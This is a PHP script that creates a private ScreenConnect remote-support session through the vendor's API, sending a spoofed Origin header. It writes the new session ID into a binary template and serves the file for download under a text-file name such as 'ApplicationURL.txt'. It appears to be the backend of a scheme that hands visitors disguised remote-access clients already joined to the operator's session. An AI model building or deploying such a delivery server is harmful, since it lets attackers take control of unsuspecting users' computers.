<?php
echo "di";
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

require_once 'dashboard/utilits.php';

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header("Access-Control-Allow-Headers: X-Requested-With");

date_default_timezone_set('Africa/Cairo');

// Load config from private/config.json
$configPath = __DIR__ . '/config.json';
if (!file_exists($configPath)) {
    http_response_code(500);
    exit('Config file not found.');
}
$config = json_decode(file_get_contents($configPath), true);

// Extract values
$key = $config['key'] ?? '';
$app = $config['app'] ?? '';
$rest_auth = $config['rest_auth'] ?? '';
$name = date('D_d-M_h-i-A');
$txt_name = $config['txt_name'] ?? 'ApplicationURL.txt';

$url = $app . '/App_Extensions/2d558935-686a-4bd0-9991-07539f5fe749/Service.ashx/CreateSession';

$data = [
    "sessionType" => "Support",
    "name" => $name,
    "isPublic" => false,
    "code" => rand(10000, 99999),
    "customPropertyValues" => [date('N-l'), date('d-m'), '', '', '', '', '', '']
];

$headers = [
    "Content-Type: application/json",
    "CTRLAuthHeader: " . $rest_auth,
    "Origin: https://documentation.screenconnect.com"
];

$httpHeaders = '';
foreach ($headers as $header) {
    $httpHeaders .= $header . "\r\n";
}

$options = [
    'http' => [
        'method'  => 'POST',
        'header'  => $httpHeaders,
        'content' => json_encode($data),
        'ignore_errors' => false
    ]
];

$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

if ($response === false) {
    http_response_code(502);
    exit("Request failed.");
}

$decoded = json_decode($response, true);
$sessionID = $decoded['SessionID'] ?? null;

if (!is_string($sessionID) || empty($sessionID)) {
    http_response_code(500);
    exit("Invalid session ID.");
}

function addNullBytesBetweenChars($string) {
    $result = '';
    for ($i = 0; $i < strlen($string); $i++) {
        $result .= $string[$i] . "\x00";
    }
    return $result;
}

$originalFile = __DIR__ . '/sample.txt';
$search = "S\x00e\x00s\x00s\x00i\x00o\x00n\x00I\x00D\x00";
$replace = addNullBytesBetweenChars($sessionID);

if (!file_exists($originalFile) || !is_readable($originalFile)) {
    http_response_code(404);
    exit('Original file not found or not readable.');
}

$content = file_get_contents($originalFile);
$modifiedContent = str_replace($search, $replace, $content);

$tmpFile = tempnam(sys_get_temp_dir(), 'mod_');
file_put_contents($tmpFile, $modifiedContent);

header('Content-Description: File Transfer');
header('Content-Type: text/plain');
header("Content-Disposition: attachment; filename=\"$txt_name\"");
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($tmpFile));

readfile($tmpFile);
unlink($tmpFile);
exit;
